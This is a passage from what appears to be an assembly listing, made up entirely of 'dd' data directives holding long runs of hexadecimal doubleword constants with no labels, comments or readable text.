0D096421Fh, 0BF46DB5h, 0BA606442h, 50ACBEC6h, 0AA9EE90Bh dd 65697AC9h, 6BC43E46h, 902872B4h, 8C35744Fh, 0E0C00F0Ah dd 0E14D408h, 0E91A79E2h, 0A7AF1CCBh, 9C9D491Bh, 73F93F30h dd 65BCF488h, 0C1AD24C6h, 6F736826h, 5D349249h, 0AAC51A53h dd 9DBFD1E0h, 2916C45Ah, 1F2D307Ah, 61132D66h, 20A0049Dh dd 0C44D0ED9h, 0AB130A82h, 5A422DD8h, 2CB1CCC1h, 0A3A914EFh dd 3D690348h, 75E5FC8Eh, 9E17883Eh, 804871BAh, 0E5D00515h dd 42EADDF6h, 0CAE9989Dh, 0C4A22EFDh, 74AFEB54h, 96E9EF1Ah dd 3BF9E9B1h, 0E2EBA1C5h, 0FDB8F2D8h, 0ED4A2C64h, 0BCCA85BFh dd 0CB8DB1A9h, 0AC5C922Fh, 0D8FDDD4Ah, 4F570946h, 0E4714B19h dd 5CE9C56Fh, 0E3EF9452h, 0D83C8EACh, 9BA36850h, 9EEB8890h dd 42DCDE27h, 0BAA2CA26h, 4DFF454Fh, 82538B66h, 0F2E8F6F9h dd 9E0F5B14h, 87B1B17Fh, 27974070h, 0E7851690h, 56A2D8Fh dd 91EE5A77h, 22DFF618h, 802C27BAh, 7D685CD4h, 9835CB57h dd 932861E1h, 0FBE88A6Eh, 93FE0292h, 0FFA363E9h, 0D690F231h dd 3E629068h, 9E3B13Fh, 3DD8D177h, 0DD50C992h, 24272006h dd 53AC5E4Ah, 1DDFD2B7h, 594498DFh, 173D7116h, 0AA06E0C1h dd 4003954Bh, 268F2524h, 409CD55h, 0BEF3F004h, 76E46C80h dd 1292DE7h, 27089E88h, 9FC55FF6h, 0BE4E4FB8h, 0EFBF2244h dd 0ABE7D104h, 49229090h, 471F094Dh, 0D35ED7E9h, 9AEE5C17h dd 0ECC71398h, 5E1ECFB3h, 156DCB51h, 17C58C68h, 4E376C24h dd 8B102D0Fh, 0EF095527h, 0D08384DEh, 0B0671376h, 66A3BE2h dd 0FEE973ACh, 2B5B2DDh, 0D5D7F76Eh, 8C76FD8h, 57234F97h dd 5929568h, 0A9C7F789h, 0E42FE028h, 0F9EA90FEh, 28B44C74h dd 9095C500h, 0EA09F3B6h, 0D9EEE91Ah, 88EF7E28h, 81071645h dd 1F113BC9h, 0E8DF413Eh, 75C24656h, 0C3372548h, 862822DFh dd 627F094Bh, 1ACA55F6h, 0F862B5F1h, 58D2745Fh, 0E92E02C0h dd 0B68E476Fh, 5AF00543h, 74D8C4C2h, 86224A5h, 0C025C867h dd 9F05D985h, 40225464h, 0B37B0FE7h, 3DE02A99h, 2D36FC52h dd 6774D609h, 2A88771Eh, 0B2571707h, 59CFC130h, 0D5406C56h dd 16581786h, 0E039E90Ch, 540BBB02h, 0D7496260h, 36BAF620h dd 212DA90Ch, 1CADD4DFh dd 1800B2Dh, 0A3742EABh, 0DE4FC2h, 133305ADh, 7C84544Eh dd 148573C1h, 0E14FC97Bh, 61AB2B1Ah, 32C1D954h, 0A1AE13E9h dd 14650BF4h, 995D9368h, 50B64413h, 0A2E5B6E4h, 0BDE91CF5h dd 0EF9E5A6Ch, 5D31B449h, 0CDBE8CFAh, 766E8E8Bh, 0DE89C2FBh dd 8F5611C2h, 0EBC2FE0Eh, 775562ABh, 0FC9D1396h, 364558F8h dd 80E0C495h, 3F436EB6h, 0DE10723Eh, 0D04F25B8h, 48663523h dd 28300552h, 67F1D705h, 88CCF2B1h, 0BAC55F04h, 0DA355C92h dd 5549DD3h, 9E0C8E58h, 0E1BB9609h, 0B4703D37h, 0F145DE27h dd 1338DFBh, 2BA75EDAh, 841897DCh, 92C70E35h, 350B63BCh dd 0B2D0DF48h, 93268303h, 0FCF7897Ah, 0BD53B2C5h, 1691DBEEh dd 0F143B0E9h, 0B0231BB8h, 95C3313Bh, 0B28F15FDh, 5B405CCFh dd 43E671ECh, 0F1045998h, 212AC677h, 66D6D1FBh, 0AA9A2A23h dd 0DE62E909h, 27FFC457h, 0CE669584h, 0B502B320h, 0D513DA7Eh dd 0FA3B6CE1h, 8E1AD505h, 2E10D8AFh, 1CE7F24Bh, 0F7801758h dd 175B68E1h, 35AEE0A8h, 0F188539Eh, 2F42C21h, 7EFB6899h dd 43E61975h, 18F3F63Fh, 0E59B9BC4h, 400CF007h, 0CB2A68A2h dd 543D1D33h, 25661359h, 0BE56B630h, 4119098Ah, 80754665h dd 0C6209AA1h, 0DC93A008h, 7F972D1Ch, 1A2021DFh, 4204995h dd 0C56880ECh, 0B4329A2h, 0D72B76C7h, 0FCF9A86Bh, 9F7E2FF9h dd 1F9702D2h, 939A77D3h, 0EC7C4C77h, 0E95BA82Ah, 72725E42h dd 715D5FC5h, 94C0C298h, 0C5E7DF09h, 0A8682CB0h, 6B162852h dd 585F40C2h, 4C5222F6h, 9C6C103Eh, 42A2D22Eh, 0C005C584h dd 0EB5FB093h, 7692E221h, 0D0310EB6h, 0AF4FBAE4h, 0D8BA2956h dd 1E0CC75Ah, 0C3F9D4Bh, 6C6416D7h, 8E50BA53h, 140C6808h dd 466B1528h, 9FE95061h, 825A3284h, 4EF78866h, 8405047Ah dd 0C26DEA6Bh, 566AD2A9h, 69EADBF5h, 2A896D7Ch, 5418D552h dd 11BDA65Dh, 0FD3A5331h, 0DA4E7941h, 13C1E9A9h, 3020942Eh dd 77C03567h, 0A33DC6CDh, 0E0CE906Dh, 94469760h, 21A83698h dd 519D5CEAh, 0EBC5E40Dh, 9B8AB013h, 0C40074D4h, 505BE636h dd 0D1B701B8h, 6A7CAAC8h, 307603FFh, 0DE7E6DB8h, 0B6257690h dd 5AB37210h, 0EE13ABEEh, 0EBE316FAh, 0B24A392Fh, 8C51CD37h dd 5F6D61E8h, 9C07EE4Fh, 3392DD8h, 0DA89A185h, 8677E58h dd 0BE1EF56Fh, 2B462686h, 0DBD608Eh, 0FEF5A4E9h, 9396B6B1h dd 0A684480h, 62CF9E15h, 2903BE6Bh, 0D22CB9FAh, 56C55434h dd 7A7E9C02h, 1742BA30h, 56614BCh, 600B274Ch, 826B9FD7h dd 98200A7Dh, 6F680552h, 0C03D270Ch, 3576CB1Fh, 3491D3Bh dd 770BBAE3h, 560C3D0Dh, 0A010FC14h, 0CBF6F205h, 0EB74EBFFh dd 0C2EE05AFh, 0D75DA95Eh, 96139CF9h, 11238CBEh, 0BB415Dh dd 5AF1881Ah, 528C1B4h, 0EC8059CCh, 6529C3F8h, 751AAB2Dh dd 9CDD2192h, 0C7E91815h, 6FFD31EEh, 88A00799h, 0EE0D292Fh dd 0CE29516h, 2E39C6C7h, 0E904A248h, 0E9B40B4Dh, 619D62B5h dd 0E5FF2006h, 992A05Ah, 0B6D4BB3h, 804146Ah, 5C67D958h dd 4741C4DEh, 0DF79ED3Fh, 0FEEA2384h, 0E131B2AFh, 0AC505032h dd 25F3281Eh, 1A5C5A66h, 6260C31Eh, 58260CB7h, 3AEC97Fh dd 0E9050682h, 0E45590CBh, 0A9452052h, 471E80A0h, 1393835Ch dd 9992E30Ah, 0C6EB5FC3h, 36860C0Fh, 407D947Ch, 215FE908h dd 0E588A205h, 0B9FE1F8h, 0EA7BEDC6h, 1E84D390h, 8DAA13C3h dd 48856E1Ch, 0C6453984h, 7CBC4A6Dh, 7A455BC0h, 0D14CF734h dd 0C1CD0011h, 0F931B56Bh, 80484FE9h, 3398BBD3h, 9438913h dd 62001BE9h, 21F0CF38h, 0A22FE9D5h, 2D66F95Dh, 0B0AB96DDh dd 2F45BC31h, 1E39CFF4h, 0DCAC730h, 164F9235h, 233FD0B2h dd 8503E94Bh, 99FECE82h, 37B8645Dh, 0FA8575BAh, 6DFC5C64h dd 2148D3F2h, 7D82C207h, 40FC9C14h, 5B16E9B2h, 65F8EED1h dd 7CF68180h, 0CD5CD0D4h, 375302E6h, 0D4290D88h, 64BA0091h dd 0A3E97EBEh, 0BCB3954Fh, 5878D9Fh, 0F5B01010h, 4463FC3Dh dd 0FB22170Ch, 965C061Ah, 0C6F1B59h, 0DA2D0EF4h, 0A0C9F627h dd 140CD008h, 2C902090h, 13975450h, 0A63CB168h, 0D65A4E15h dd 1770F52Eh, 0DCE962C2h, 0C927D91Fh, 0C700F771h, 0C107295Ah dd 0F7081BEEh, 12C40ADEh, 0E4FEF07h, 1AC3FE05h, 69E6FAE9h dd 4B945CE9h, 8F279354h, 820E0B46h, 2152717Dh, 0C91926BAh dd 0C28874CAh, 136130B9h, 62D76729h, 0FF5A62h, 4C962FD0h dd 0DBF75B12h, 422EBA0Fh, 0F653B369h, 1D78A761h, 46BFF9Eh dd 9112D62Dh, 9FC9738Bh, 5BA501B4h, 0DCC1004Fh, 50C90243h dd 0C1E4685Eh, 25D9558h, 0C82E1Eh, 59685152h, 3BFB1A1Dh dd 9C0973Eh, 74F222ABh, 9568067Eh, 2FEF7E88h, 769597C6h dd 0F6CE269h, 24902271h, 0EE13F10h, 69A2CD80h, 7954F8C5h dd 0B9F55074h, 0B3704BDEh, 0D5B81E16h, 7565DF3Ch, 2DE5D8BAh dd 0EF90135Ah, 76378EE1h, 0EC7EF9C1h, 77293B58h, 100D9B2Fh dd 5ABE68EAh, 0C45FBD35h, 0FF12A8F7h, 57D89932h, 0CAB2A8F3h dd 0E8826AD1h, 80C02F55h, 691E16BAh, 39891B9Eh, 19C57E7h dd 234863FCh, 13FAA4C1h, 19F70808h, 0A953A18Ah, 23CF2789h dd 1278E551h, 4C24E015h, 26381009h, 0FDC15F60h, 0BF60412Ah dd 3AF8A4C0h, 0C67A0D97h, 29B3283Ah, 0A50500EFh, 3600F70h dd 5E7E872Dh, 1081801Ah, 13E9567Ch, 7F5A75E1h, 85B81A95h dd 0C052582Fh, 0B6D67302h, 80FBE9E4h, 72BCF570h, 2D193BD3h dd 2C5F0B09h, 7204A74h, 12203798h, 0E753B72Ah, 0CAC275A5h dd 92F8C757h, 8CA4B455h, 16CE480Ch, 0EEEAF643h, 0BE3D4CFAh dd 2C266138h, 5BDD0B50h, 0C1E1BE55h, 9268586Bh, 0AAF32E4Dh dd 4241EE3Eh, 0ADCE315h, 0E81B029Eh, 0D0BEC438h, 70565938h dd 0C54E507Fh, 0FAF5EF90h, 2B453253h, 0A87F1F18h, 6524FA92h dd 4810E958h, 0B6A711A6h, 664E1761h, 0BEF29046h, 2D5D2562h dd 528AB529h, 25B881C1h, 2F794015h, 4FD56EFh, 130EB78Ch dd 5FC38CEBh, 0B7B934B7h, 0B8692266h, 9168FF75h, 8F2F7BC2h dd 0E24561Bh, 0EB4BDD31h, 0BD640884h, 0EFED129Dh, 0FC2E708Dh dd 77052D20h, 0E950A10Ch, 5538532Dh, 6540DC32h, 7C0374C7h dd 35485862h, 20F5AC2h, 5FF90182h, 9E55E077h, 0D2F680EAh dd 2F4A97EEh, 280F6331h, 5CB45000h, 245BB63Ch, 0BB0CA0E6h dd 26B01BE4h, 2F9788A0h, 0E341CD8Eh, 694570E9h, 1E5710A9h dd 3C216809h, 63902C44h, 0A2334027h, 953E83Ah, 68634F00h dd 34F66E1Eh, 48235867h, 0EA0B897Bh, 4DCB75CFh, 0BBDB3A27h dd 62A6D973h, 0EA0D247Bh, 2FEAB620h, 81370B05h, 8BF507CFh dd 5CBFE87Fh, 6E58814Eh, 0FE96CCE2h, 9CF6568Ch, 0D83B3876h dd 0F89CE692h, 7B019348h, 947CE53Eh, 31D5E07Fh, 0FA2E5F41h dd 3D206042h, 0B7A8704Ah, 0E618DB90h, 2B3E497h, 0F6B3C2B4h dd 0CA90E330h, 749FC1DCh, 0EE8070A9h, 1D8898B5h, 32F6B74Dh dd 0BE168B6Ah, 7D78A6F2h, 851EF19h, 252DE52Dh, 6EBC1C0h dd 770BF381h, 807BDFB4h, 4410B70Ch, 1F569560h, 7F9D0820h dd 5AE9A710h, 0C7B16E65h, 2A09F1AEh, 4EEF61D8h, 0B1D2B802h dd 0F36A94FDh, 820B96D4h, 0CAEDFE21h, 0CF254FCEh, 6812E059h dd 0DA420E25h, 80C18BF2h, 0BD5B66FAh, 0E9584D5Eh, 95BD929Fh dd 1420E86Ch, 50C29F07h, 52DBDE57h, 0E98AB95Bh, 3DAAC78Ch dd 159A7F0h, 485A070Ah, 0D4A2426Eh, 43C8DCFBh, 0AB9C9C68h dd 0BA4B08A6h, 823ECD54h dd 7DFEF010h, 419C286Ch, 9EE97354h, 31DE2D16h, 0E96A105Ah dd 13C6487Bh, 426726DCh, 5709BC51h, 0CEFE0316h, 88CA47B7h dd 5C135D8Ah, 455EE904h, 5FE3B912h, 25684AD8h, 6BC63783h dd 588192E2h, 4A5FB46Bh, 0BA04A2B0h, 1C8B878h, 0F074B282h dd 7BB720Bh, 0D17FC621h, 0C1EB24E3h, 3A316475h, 758C1732h dd 8A820BD1h, 61655047h, 5602F283h, 5A6E2040h, 5673A5Bh dd 0B8304BC4h, 0CE067FF3h, 7CE3E937h, 6855093Ch, 0B4770612h dd 79342798h, 5303D9C4h, 0C5612968h, 0E52BF11Ah, 425851FAh dd 0D9DD9168h, 0F9C6B551h, 215D1600h, 50514C09h, 782D7568h dd 97470427h, 8C0987E9h, 2E9150F4h, 0B060631Eh, 4C44000Ch dd 0CB8166FBh, 764C065Dh, 226F17CCh, 92804AD3h, 5A9E418Eh dd 422823F5h, 19894625h, 64022656h, 0FD2BA137h, 73619CC2h dd 0ED0DA608h, 0A3019A01h, 8705563h, 4DC9AD7h, 581CE7C7h dd 12C5D63Ah, 0C437A509h, 0D12E809Fh, 260EE030h, 203EFE29h dd 0BFE92708h, 0C05B8B84h, 0EB0A5203h, 4501C48h, 4ADCCCF3h dd 0C0803295h, 0C7F48EE9h, 72EAB32Eh, 64D52E96h, 69720A48h dd 85108Eh, 907CF589h, 8997CBE9h, 44BC5F22h, 3CD4AC9Dh dd 5B7212D3h, 120FF3Fh, 4A055D6Ah, 8FAC4Fh, 67DEB850h dd 3525EFh, 647C01FDh, 0E44D282Dh, 38571148h, 0FB8C08Fh dd 3DDF2CA0h, 0EBE7EA45h, 45016EA2h, 0C13EE323h, 30AE47EFh dd 0E8B76556h, 0E90A8295h, 5E67C878h, 2031B821h, 290B3E85h dd 0DC1A68C2h, 0BEBD64ABh, 0E15B2FF8h, 1AB86A00h, 4C7816B2h dd 4F8DD3BFh, 10164850h, 805FBA3Bh, 402679C3h, 0B8730295h dd 298009CDh, 0E7141F03h, 89EB6197h, 99782631h, 0FC074948h dd 19298AFFh, 51D5B389h, 0A74C49A8h, 4B95684Dh, 810325FEh dd 563D2A8h, 0AA7916BAh, 0C5C52E87h, 0F1B5D4A0h, 0F245BB3Eh dd 8EC2FD89h, 2C4C5F45h, 317E6813h, 0FDD77A91h, 815C204h dd 0C103B640h, 1307E23Fh, 70BC1F9Ah, 84A207A8h, 5DF6E44Eh dd 9688BA5Fh, 0E568125Ah, 1CA1F36Dh, 772F0330h, 614B2616h dd 0A6BD82C0h, 68F2184Bh, 0F1815431h, 98256404h, 4583493Eh dd 0EC141202h, 0E97E076Fh, 0B0F669DAh, 5F5F5842h, 76FA754Ch dd 0F74AA763h, 1EB9B179h, 127FD420h, 80ACAEAAh, 0E59E98Bh dd 985E8ABCh, 0AB805A07h, 412E0228h, 62E92AD4h, 297D9418h dd 509D40F5h, 4FF4A0D2h, 10DE3E43h, 60A2E702h, 236144A0h dd 0ACE9F407h, 0D49AC2BFh, 5668783Dh, 0F0C3C697h, 852962A5h dd 450FDE66h, 0CC8D217Bh, 7FFCD720h, 7739F74Bh, 0B47C9085h dd 453CBE2Ah, 460502D6h, 778329BAh, 0C97D32E0h, 7C2EFE5Fh dd 5BE90D61h, 59588954h, 0DDB65557h, 0F95A5C25h, 0C9AD4813h dd 6CEADD8h, 0DE7CC03h, 50479005h, 1D6C4CD2h, 814C3123h dd 563E5EF6h, 59136A2Dh, 61EB6C16h, 2BB79C1h, 564755Fh dd 0F9EC4400h, 8BD101F7h, 0E5F69F14h, 480BC252h, 4C0F6811h dd 4D34617h, 18A6203Bh, 1833E132h, 9C4E36ECh, 157C39A2h dd 60E6C125h, 2D9AF411h, 807610BDh, 0D4424A09h, 47E131Eh dd 814B7523h, 6E20CCFBh, 0C1476322h, 0C10437B4h, 3F27346h dd 0C9A6E7ADh, 0C7095B18h, 337A3081h, 3E9074C3h, 632C250Bh dd 26D005Ah, 9726D9E9h, 7DCB50DCh, 828C1690h, 1823BD80h dd 5037844Dh, 7D2F10ABh, 2C3AFA49h, 40C3764Ch, 211F13C5h dd 6841439Eh, 653D08FAh, 269A9E20h, 0D065FEF0h, 0C50858B8h dd 4FB80155h, 7B43A547h, 4B540E83h, 8242E20Fh, 0D5C4B5E9h dd 310E7821h, 6EB63AC8h, 252FEB1Ch, 57747F5h, 0BB54F8E9h dd 10115B62h, 382B73Ah, 4857C7B0h, 23269D26h, 0B67EAF35h dd 5AF9649h, 46C1B2BEh, 439CFAD9h, 22A39089h, 0C107D114h dd 0F60FF93Eh, 1E81CAD4h, 0BA00C46Dh, 0D22E6267h, 66024C1Dh dd 804F2B5Ch, 7328D3E2h, 0D5C6A023h, 0E0954A63h, 0C0820649h dd 4B56EE81h, 181EF05h, 29EC4AE8h, 0F65AFCD6h, 78DE2C68h dd 37411738h, 0C022DFE3h, 0DC77FEB6h, 8C105AD4h, 0D582B6AEh dd 0E950DFD9h, 0A3729DCCh, 8039B205h, 0C4C4A7F2h, 78F4A50Bh dd 874314B7h, 0D1B4A3DEh, 3B4BE922h, 5FA48310h, 21A8BEA8h dd 4E54F840h, 0D4E3B35Bh, 277A2E1Dh, 0D59C880h, 5C79090Eh dd 0E53BC41Ah, 0C1ECA07Eh, 0C4FA0937h, 96DF29DDh, 0A10505E3h dd 83E044D8h, 5365CEA9h, 0EFA0B8B7h, 5CD29805h, 950F9310h dd 0C9DFD702h, 0E655DC35h, 196817DCh, 8BF5A30Dh, 0DDA502D5h dd 80FB515Dh, 3E3A0E4Ah, 0D90DFF7h, 634E709h, 0B08881BEh dd 0A86EFEC5h, 6A05E5C8h, 0CDAB13CDh, 7B5EE58Eh, 7ED6BB92h dd 50E950F3h, 0B731554Eh, 64A3B5A9h, 0E2551655h, 4A0DD681h dd 0F42773CBh, 0E2ED127Dh, 762BEBFEh, 0B7539661h, 7C33FD4Dh dd 96E259D9h, 5A34B1F2h, 8EBC19Fh, 20711660h, 0B206BC2Fh dd 8FEA8050h, 0B9C7654h, 0DFE918C7h, 1B05CBE0h, 70D0271Eh dd 44CCAF8Ch, 432E9E8Ah, 59EF5152h, 7D234A77h, 0E56402AFh dd 4AE1F2D4h, 0D4041185h, 6802FD8Ch, 47491DECh, 0D5C43FEBh dd 0F185F8EAh, 20862909h, 485BDA01h, 0A4C9EB7Bh, 0FD0A8045h dd 0F8D3A37Dh, 4C3EB2ADh, 4B5C52h, 80B4B585h, 664A62C5h dd 0F61D9AFCh, 1FDD1ED3h, 4DF54E5Bh, 2604CD66h, 0EC280712h dd 88772Ch, 0B65258E2h, 23EB80BAh, 844906C9h, 4C1D46ECh dd 8772B49Fh, 4A18CA64h, 0B003F8C8h, 62780087h, 81466604h dd 0E4CA5E6h, 0D6F712B9h, 2BE18A12h, 49B163Bh, 0C051FF0Dh dd 2D36C17Fh, 3C31B5Ch, 5A6F7ABAh, 3A90B583h, 5AA74B91h dd 43E3B07Eh, 22D34ACBh, 74740DCEh, 0D3B4643Eh, 0BC3858EBh dd 0BAD33A12h, 63ECDAC3h, 0C48453C9h, 0F5290669h, 7AD94152h dd 8A52C38Fh, 0CF3610h, 3B296857h, 955F1733h, 89D712FDh dd 8BE08FD7h, 276646D7h, 0A792B402h, 6FE28861h, 86C52EE6h dd 0E43FB4C1h, 0C33A0841h, 694F3D48h, 0D90194A8h, 21BFE3D0h dd 754C6FFEh, 16583DCFh, 350A8368h, 0C92D0492h, 102114E3h dd 8F58F603h, 0C82FD94Ch, 0E830E000h, 511D6659h, 7EFEECB1h dd 2CFD1135h, 5701C9ACh, 704D90BFh, 3AFD401Dh, 4FB07E68h dd 0A17CE79h, 830A633Bh, 0E903E206h, 4549B7Ah, 905EE036h dd 681AEF1Ch, 0B7CCC306h, 48406377h, 0BF1325E9h, 762FC0E5h dd 1C5B8E5Ch, 0F37401C5h, 570C4031h, 0EB60E976h, 101BF641h dd 2495B8A2h, 16AE65EEh, 3E2F0164h, 3EFE06BFh, 0C9F1CDC7h dd 27C83DDDh, 65682549h, 0D6880654h, 0C22C13E0h, 0E6757EE4h dd 0A09D26F6h, 74066BF4h, 0AC12B312h, 34BE2D68h, 0DF92C0B4h dd 4798CAFEh, 24426E5Ch, 0F7BDFB10h, 93F0974Fh, 0B5694804h dd 83FC7025h, 2D1FA754h, 56FF1D16h, 0E2FBEEECh, 2F9B5E57h dd 9C0C9FF1h, 0B0DA7156h, 16F296B3h, 2CDBA29h, 0BDA0A03Ch dd 872678FFh, 0A919542Ah, 0D5E06718h, 0E2C5A24Ah, 0DD1CF5DCh dd 8B30E92Dh, 8A1802F9h, 14457D9Bh, 1E2B5900h, 71ED8134h dd 0E632507Eh, 532909C5h, 38FF2514h, 4FD83AD7h, 9220E9FEh dd 928204BAh, 58480CCDh, 4A5F2569h, 0E554607Dh, 0F8300037h dd 0EDD14D47h, 942FE945h, 61DD3AEFh, 0A46246ADh, 0B56E513h dd 4DE6D6C3h, 0A0C87820h, 3DEBB78Bh, 34A48820h, 1268926Ah dd 889AA07h, 55AB4498h, 440470B9h, 0CF317EC3h, 0A04AD2CBh dd 23270B4Dh, 985455h, 7C2D79E8h, 2775900Dh, 4EF22277h dd 2105C90Bh, 0B07704C3h dd 7F801FD5h, 0D427AF6h, 0F2F18141h, 5093640Dh, 0E916D3A4h dd 5934C705h, 9DCD2483h, 0F4C4D0BCh, 6C12179Eh, 0EA962CABh dd 30676E09h, 9A2FEF1h, 0B07FE831h, 82FC5E94h, 0DC55DEC2h dd 45A53D96h, 284ED6D8h, 128B8BCh, 595CA143h, 0D06E5D7Eh dd 87327B7Ch, 610F32E8h, 163A7954h, 8999A9C4h, 20724466h dd 0E2B4F97Dh, 0A0D6A28Bh, 7E513C08h, 0E42D094Eh, 62552A66h dd 94070FEAh, 71956911h, 9CBCEB5Eh, 1C2402B5h, 0AF5D040Ah dd 0A9B5B0BCh, 2E109C9Fh, 41BA5200h, 29621522h, 80E7D04Eh dd 9A18B5D1h, 5466E2F4h, 0D83C25E5h, 77A4368h, 0BB9EAABh dd 13A76629h, 35643C7h, 117905FAh, 5335FAC3h, 2F09BB8h dd 9B50C68h, 7C95F573h, 88837EADh, 0F702E677h, 0DFD687D2h dd 910B2678h, 80D146B8h, 786194C1h, 0EA010C24h, 36106856h dd 0BECB7D4Ah, 44E11216h, 0FA06EF6Fh, 924CCFA2h, 66095B20h dd 547B4305h, 1BC10902h, 60B192E9h, 35267183h, 0E1130EB5h dd 0F75905FFh, 7EED8DEDh, 0E9859FADh, 1449AEEEh, 74FA55EDh dd 9BF2AEDh, 73555F8Bh, 13CBA67Bh, 413729CAh, 0C8D888CAh dd 584B2847h, 0F01062CBh, 0B26802D6h, 75613135h, 22593689h dd 7F673F1Ch, 9360F0B2h, 41BBB849h, 0B2D9FD4Fh, 622A5058h dd 0F4D6C637h, 1A093212h, 9307A330h, 0B12E5FAFh, 4BCA326Eh dd 0EF3717ABh, 70B82DD1h, 6822212Bh, 0DCB82B85h, 0CF84F4D4h dd 0C4490ED2h, 3F4D7DDh, 9207D707h, 0C8EA8111h, 4721675Dh dd 0BB05D568h, 8EF2265h, 4A37867Eh, 35961C41h, 368FAEDh dd 7318BD58h, 5EF7BDF8h, 90748B9h, 5E5B353Bh, 6A19ED3Ah dd 3350AFCBh, 405D805Bh, 96992D24h, 6DA3B19h, 10050697h dd 0A001E894h, 0D922E967h, 9A36BFEh, 0B6618216h, 0E45950E3h dd 7586720Ah, 0DF0CF048h, 0CEDD39Ah, 733B209Dh, 8FECC30Ch dd 99EA7162h, 0E9DE6086h, 52DF5A13h, 1887EAB1h, 0E671DBB2h dd 0EE50BF70h, 8A03230Fh, 2BBEE56Ch, 975F60C8h, 6CA447ECh dd 0C7D8BE26h, 74A1ACA0h, 0C1109FDDh, 0D5680B82h, 9220F13Eh dd 532AC2C2h, 24DE4655h, 2D28192Ch, 5A242160h, 7F813ECCh dd 0B85E4AF2h, 8864F001h, 42E91702h, 820C37AEh, 7EB9D82h dd 4C200588h, 5F7EA026h, 0C1350100h, 1BDF1204h, 67C40DE9h dd 292E82B5h, 0D172FC56h, 81DCA56Ah, 874EF939h, 0E92128FFh dd 0DD1D6F5Fh, 4D416158h, 57EC003Bh, 52455355h, 2E1C3233h dd 0B786C64h, 5564441h, 0D3149F9h, 4CF9544Eh, 10AA8C6h dd 8FE98BF5h, 0AF680560h, 95F9B1Eh, 0FDE3B984h, 9C1D50C1h dd 11C215BFh, 0A5219D58h, 909E5208h, 44C9889Bh, 9FB82191h dd 25108712h, 107D89A0h, 0B2A2BCh, 8ECE9539h, 0B898A905h dd 0C59F331Eh, 0B1801E9Fh, 1C6A2AA1h, 0DC7C00C7h, 0EB6BFB57h dd 780FCC60h, 0E0FF53D8h, 0F4661EAh, 0B282009Ch, 0CCFE30F8h dd 0F7015B68h, 4FD9ED6Dh, 48E05840h, 0E4E401h, 0E84C755Fh dd 0F82C03A3h, 9A4A24CCh, 19330032h, 80F7640Ch, 45FA50A8h dd 125B4E1Ch, 0C136C880h, 16069D0h, 31670E0h, 0C8ED7E37h dd 620EABB8h, 2019CA55h, 0C292A7DEh, 859000F6h, 881B98C3h dd 0D7006DC1h, 69FAB387h, 0E2590C84h, 95D0077Ch, 209683C5h dd 25E755CAh, 0B0140E00h, 3D7BDB68h, 9E428h, 0F959EC40h dd 0CB8BDE72h, 11DF8703h, 0C998FC0Fh, 1E2EDDCAh, 0D4D801Eh dd 3D1D2A86h, 4B1AB600h, 142C800Bh, 63CF3044h, 4DBBFBBEh dd 160E40F3h, 6126CD46h, 5400A8E3h, 0EDCA4111h, 0EB372AA4h dd 675510ADh, 0B06C00C3h, 584DDF23h, 5441393Ah, 26120700h dd 0D99FBF8Ah, 92158200h, 0B77C48DBh, 74330731h, 30CD8DD8h dd 37273D91h, 59F5BC0Ch, 0D02408h, 2E82C494h, 0D9773B1Bh dd 3406E6EEh, 6F8C98DEh, 9FA31EDDh, 0CB1CFDBFh, 9EAC148Bh dd 62E24E00h, 8AD579F2h, 141CA00h, 0B999AAB7h, 0C89E0532h dd 18AF0388h, 6E273D08h, 0B121FD18h, 1CAD9FDCh, 40ABBE09h dd 59F94EE2h, 3E000A1Fh, 0C191D478h, 705B2787h, 13BF0707h dd 3926B483h, 3A82B226h, 1511207h, 2295247h, 0A1798142h dd 38182D91h, 1156FD40h, 5FCA3DCBh, 0A12EC400h, 0D3E7F2B4h dd 980B8801h, 497842D1h, 684620h, 0FCAB347Dh, 0B4A67BA9h dd 0F6BF8B01h, 74E0E5Ah, 8A940481h, 0F030FB25h, 0AE6770E3h dd 54563D0Fh, 0D9CC000Dh, 159EAABFh, 900FC35Ch, 0C0D167CDh dd 32369AAEh, 6B7222h, 1DE2B6BDh, 0BE2D5640h, 40C16470h dd 0BBFDC9DCh, 0FC06E830h, 9C490FAh, 988CB8ADh, 3CBAA57Dh dd 0B6ED9F40h, 0E7AE01h, 8FD1FB4Bh, 0C33966CCh, 67213409h dd 87D82972h, 0EB103345h, 0FED31A2h, 5330FAF6h, 74D887FCh dd 0D78730F1h, 1AE48491h, 5F524100h, 605A8516h, 86290ED4h dd 3F40DA93h, 65703626h, 15C94Ch, 17BB8F9Ah, 1C798B51h dd 40E0FC1Fh, 63269C7h, 0E1009799h, 46EA6174h, 38145202h dd 5FBADB8h, 2B89EC71h, 34A2C362h, 5CE6DB00h, 8CDB77FCh dd 0EB4700CCh, 0DD71FA5Ah, 5826D383h, 20804CF4h, 0A2B28DD6h dd 0BD850229h, 0AEBA169Dh, 0BC89CA80h, 3004179Ch, 0B018EA79h dd 0BA883B80h, 41ED881Eh, 12540402h, 4074CEB2h, 23919CBh dd 0CD5E6A7Fh, 26404F2Ah, 452489D5h, 0AE124112h, 0A154F87h dd 4424BF60h, 3993923Dh, 8FD09514h, 64BF142Ch, 0DC0EBB1Bh dd 0C7003043h, 1D08746Bh, 73DF9600h, 95266F6h, 1290928Ah dd 0BFD55A0Eh, 2AB96807h, 3A576861h, 45155250h, 22160603h dd 98F9197Eh, 80555C2Dh, 8B84F82Bh, 0DD241F93h, 9388644Eh dd 9BFD202Ch, 0EE3141D2h, 7129620h, 12AEE724h, 71AE13Dh dd 294A5F40h, 5038CD80h, 50094C3h, 4271D951h, 3B5266Fh dd 62AC15D6h, 2AD83722h, 73013A6Dh, 58EF0DE0h, 0A9D8F559h dd 2A407305h, 0DBC696h, 27ADE171h, 0A4FC0E49h, 59B1E25Ch dd 52EC001Dh, 1E258902h, 19B5033Eh, 2F830848h, 62CEF012h dd 0BAFA1701h, 0E1CA174Ch, 5E302B2Ah, 161C50B0h, 0B13A281Ah dd 0B24C14ADh, 2E01FAAFh, 4A49B81Ch, 0CB90DB67h, 9F04D979h dd 0BF2DBE8Ah, 5F1697D0h, 0B33230CCh, 8FBBAE34h, 8AFCE934h dd 0DD42DA80h, 85930E5Eh, 80DF2F20h, 0DA7ACE62h, 0FE4D59Ch dd 3CB7F330h, 24C786Dh, 0B9F565E0h, 0AC61C03Dh, 0C3D4D086h dd 770340h, 4CE06BEBh, 40EC67F7h, 0DA510100h, 0E56EEE76h dd 0F0C9049h, 7E63ADEDh, 52FE7502h, 88128C4h, 497C3117h dd 53EF84E8h, 4E88C561h, 893B00A4h, 6C56EC19h, 6DF47BD7h dd 0CC70D0A1h, 5E014B0Bh, 7AC4B818h, 